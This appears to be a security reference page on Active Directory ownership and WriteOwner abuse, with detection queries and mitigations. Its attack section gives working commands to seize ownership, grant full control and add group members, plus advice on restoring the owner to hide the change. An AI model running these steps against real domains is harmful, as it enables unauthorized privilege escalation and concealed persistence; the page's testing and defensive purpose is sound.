How it works
The security descriptor of an Active Directory object has an owner field in addition to its permission list (the DACL). The owner is a SID, usually of the account that created the object, or of Domain Admins when an administrator created it.
Ownership matters because of one default rule: the owner of an object is implicitly granted READ_CONTROL and WRITE_DAC. No access control entry (ACE) is needed. An owner can always read the descriptor and rewrite the DACL, and with that, grant themselves or anyone else any right on the object.
Two rights follow from this:
- Owner (the
Ownsedge in BloodHound). The principal already is the owner. It can change the DACL straight away. - WriteOwner (
WRITE_OWNER, mask0x80000). The principal may change the owner field. With this right alone a principal can make itself the owner; assigning ownership to a different principal generally requires theSeRestorePrivilegeuser right as well. Taking ownership is enough for an attack.
The chain is short: WriteOwner, become owner, use the implicit WRITE_DAC to add a full control ACE, then act on the object as described for GenericAll.
Ownership ends up in the wrong hands without anyone granting anything. An account that created users, groups or computers during a project stays their owner after its role changes. If the owner is a group, every member of that group has the implicit rights.
Limits on owner rights
- Owner Rights SID. If the DACL contains an ACE for
S-1-3-4(Owner Rights), that ACE defines what the owner may do and the implicit rights no longer apply. - Computer objects on patched domain controllers. The updates for CVE-2021-42291 (KB5008383) added a check controlled by the 29th character of the
dsHeuristicsattribute, known asBlockOwnerImplicitRights. In enforcement mode, the implicit rights are blocked on computer objects when the owner is not a member of Domain Admins or Enterprise Admins. Users and groups are not covered by this check. - Deny ACEs and protected DACLs apply as for any other access check.
Related chains
Moving an object between OUs. Inherited ACEs are recalculated when an object moves; explicit ACEs travel with it. A principal that can move a user into an OU where it already holds an inheritable GenericAll or GenericWrite ACE gains that right over the user. The move needs delete rights on the object or its current parent and the right to create that class of object in the destination. Objects with a protected DACL do not pick up the destination's ACEs.
Creating objects. A principal that may create child objects in an OU owns what it creates. On Windows Server 2025 domains this is the starting point of the delegated managed service account attack described on the BadSuccessor page.
Prerequisites
- Control of a principal that owns the target object or holds
WriteOwneron it, directly or through a group. - LDAP access to a domain controller.
- For a computer target: a domain controller where the
BlockOwnerImplicitRightscheck is not enforced, or an owner in Domain Admins or Enterprise Admins. - No Owner Rights ACE on the target that restricts the owner.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find ownership and WriteOwner
BloodHound reports both as edges (Owns, WriteOwner). To read the owner of one object:
owneredit.py -action read \
-target-dn 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
# The owner is not in the Access list; read it separately
$acl = Get-Acl -Path 'AD:\CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com'
$acl.Owner
$acl.AreAccessRulesProtected
owneredit.py -action read prints the owner's SID, account name and distinguished name. Note the original owner before changing anything; it is needed to put the object back.
2. Take ownership (WriteOwner)
owneredit.py -action write -new-owner alice \
-target-dn 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
# PowerView
Set-DomainObjectOwner -Identity 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' `
-OwnerIdentity alice -Verbose
# bloodyAD
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
set owner 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' alice
If the principal is already the owner, skip this step.
3. Use the owner's implicit WRITE_DAC
As owner, grant the controlled account full control:
dacledit.py -action write -rights FullControl -principal alice \
-target-dn 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
Or with ADSI, which adds one ACE to the existing descriptor:
$obj = [ADSI]'LDAP://CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com'
$sid = (New-Object System.Security.Principal.NTAccount('CORP','alice')).Translate(
[System.Security.Principal.SecurityIdentifier])
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow)
$obj.psbase.ObjectSecurity.AddAccessRule($ace)
$obj.psbase.CommitChanges()
The WriteDACL abuse page lists narrower grants that attract less attention than full control.
4. Use the new right
For a group, add a member; for a user, reset the password or add a key credential; for the domain object, grant replication rights.
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
add groupMember 'Server Admins' alice
5. Put the owner back
Restoring the original owner hides the takeover from an ownership review while the ACE from step 3 stays in place. Setting the owner to another principal generally needs SeRestorePrivilege, so this step often requires the privileges gained through the attack. Use the SID when the original owner is a group or does not resolve by name:
owneredit.py -action write -new-owner-sid S-1-5-21-1111111111-2222222222-3333333333-512 \
-target-dn 'CN=Server Admins,OU=Groups,DC=corp,DC=example,DC=com' \
'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
OU movement variant
When the attacker can move an object and already has an inheritable ACE on the destination OU:
Move-ADObject -Identity 'CN=John Doe,OU=Staff,DC=corp,DC=example,DC=com' `
-TargetPath 'OU=Delegated,DC=corp,DC=example,DC=com'
# The inherited ACEs now come from the new parent
(Get-Acl -Path 'AD:\CN=John Doe,OU=Delegated,DC=corp,DC=example,DC=com').Access |
Where-Object IsInherited | Select-Object IdentityReference, ActiveDirectoryRights
The move creates no ACE. It only changes which inherited ACEs apply to the object.
Impact
Ownership is full control that no ACE review shows. From it the attacker reaches whatever the object gives: membership of a group, a user's identity, a computer, or on the domain object, replication rights and the credentials of the whole domain. On AdminSDHolder, ownership lets the attacker change the template that is copied to every protected account.
It is also durable. Ownership does not expire, is not affected by password resets, and is rarely checked. An attacker who takes ownership, adds an ACE and restores the owner leaves an object that looks normal in every field except one extra permission entry. Accounts with this kind of hidden control are a typical form of shadow admin.
OPSEC and artifacts
- Restoring the owner. Putting the original owner back removes the most obvious sign. The added ACE remains in the DACL, and each step wrote its own change: the owner is part of
nTSecurityDescriptor, so event 5136 records the descriptor with the newO:value when the object has a SACL for the write. - Using existing ownership. A principal that already owns the object skips the owner change, so there is no ownership event at all. The DACL change that follows is still a descriptor write.
- Narrow grants. Granting a single right instead of full control makes the new ACE less conspicuous. It does not change which events are written.
- Access check events. With Directory Service Access auditing and a SACL, event 4662 shows mask
0x80000for the ownership change and0x40000for the DACL change. - Moves. An object moved between OUs is recorded in event 5139, with the old and new distinguished names, when the move is audited.
- Audit-mode owner events. Where the CVE-2021-42291 updates are in audit mode, domain controllers log events in the Directory Service log for operations that enforcement would block.
- Files.
dacledit.pywrites a.bakbackup of the previous DACL on the operator's host.
Detection
- Owner changes on Tier 0 objects. A 5136 for
nTSecurityDescriptorwhere theO:field differs from the previous value, on the domain object, AdminSDHolder, privileged groups, domain controllers or krbtgt. The DACL modification rules and the AdminSDHolder modification rules read these descriptor writes. - Owner change followed by a DACL change on the same object by the same actor, within minutes. That sequence is the takeover.
- Unexpected owners. A scheduled inventory of the owner of every privileged object, and of user and computer objects owned by non-administrative accounts. This finds ownership that predates logging.
- Weakening of the owner check. A change to the
dsHeuristicsattribute that turnsBlockOwnerImplicitRightsoff. See the dsHeuristics changed rules.
// Descriptor writes where the owner changed, paired by correlation id
SecurityEvent
| where EventID == 5136
| extend Attribute = extract(@'<Data Name="AttributeLDAPDisplayName">([^<]+)', 1, EventData),
ObjectDN = extract(@'<Data Name="ObjectDN">([^<]+)', 1, EventData),
Operation = extract(@'<Data Name="OperationType">([^<]+)', 1, EventData),
CorrelationId = extract(@'<Data Name="OpCorrelationID">([^<]+)', 1, EventData),
Sddl = extract(@'<Data Name="AttributeValue">([^<]+)', 1, EventData)
| where Attribute =~ "nTSecurityDescriptor"
| extend Owner = extract(@"^O:([^:]+?)G:", 1, Sddl)
| summarize OldOwner = take_anyif(Owner, Operation == "%%14675"), NewOwner = take_anyif(Owner, Operation == "%%14674")
by CorrelationId, ObjectDN, SubjectUserName, bin(TimeGenerated, 1m)
| where isnotempty(OldOwner) and isnotempty(NewOwner) and OldOwner != NewOwner
%%14675 is "value deleted" (the old descriptor) and %%14674 is "value added" (the new one). Both records of one change share the correlation id.
Mitigation
- Review owners, not only ACEs. Include the owner in every permissions export. Tier 0 objects should be owned by Domain Admins, Enterprise Admins or another Tier 0 principal. The Active Directory hardening guide covers the Tier 0 review.
- Reassign stale ownership. Find users, groups, computers, OUs and GPOs owned by ordinary accounts, service accounts or former administrators, and move ownership to the appropriate administrative group.
- Remove WriteOwner from principals that do not administer the object, and treat it as equal to full control when reviewing delegation.
- Enforce the owner check for computer objects. Install the CVE-2021-42291 updates on all domain controllers and move
BlockOwnerImplicitRightsto enforcement after testing device join and repair workflows. - Use Owner Rights ACEs on sensitive objects where the owner should not be able to change permissions.
- Limit who can create and move objects in OUs that grant inheritable rights, and keep privileged accounts out of delegated OUs. Path analysis shows which accounts reach an object through ownership; see the attack path analysis walkthrough.
- Audit descriptor changes on Tier 0 objects, including "take ownership" and "modify permissions", as in the audit policy guide.
- When responding, compare the DACL with a baseline even if the owner looks right. An attacker can take ownership, add an ACE and set the owner back.
Detection rules for this attack
Log events to collect
FAQ
What can the owner of an Active Directory object do?
By default the owner can read the object's security descriptor and modify its DACL, even when no access control entry names them. An owner can therefore grant themselves full control at any time. The owner is a separate field of the security descriptor, not an entry in the permission list, so it is easy to miss in a permissions review.
What is the difference between WriteOwner and WriteDACL?
WriteDACL changes the permission list directly. WriteOwner changes the owner field. A WriteOwner holder first makes themselves the owner, then uses the owner's implicit right to change the permission list, so the result is the same with one more step.
Can the owner's implicit rights be blocked?
Yes, in two ways. An access control entry for the Owner Rights SID (S-1-3-4) replaces the implicit rights with whatever that entry grants. And on domain controllers with the CVE-2021-42291 updates in enforcement mode, implicit owner rights on computer objects are blocked for owners who are not members of Domain Admins or Enterprise Admins.
How do you detect an ownership takeover?
The owner is part of nTSecurityDescriptor, so the change appears in event 5136 for that attribute, with the new owner in the O: field of the SDDL value, and in event 4662 with access mask 0x80000. Both need a SACL on the object. A scheduled export of the owners of Tier 0 objects, compared with a baseline, catches changes the events missed.
References
- Account Manipulation, T1098 (MITRE ATT&CK)
- MS-ADTS 6.1.3.4: Blocking implicit owner rights (Microsoft Learn)
- Security identifiers: Owner Rights, S-1-3-4 (Microsoft Learn)
- 4662(S, F): An operation was performed on an object (Microsoft Learn)
- CVE-2021-42291: Active Directory Domain Services elevation of privilege (MSRC)
- Impacket owneredit.py
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.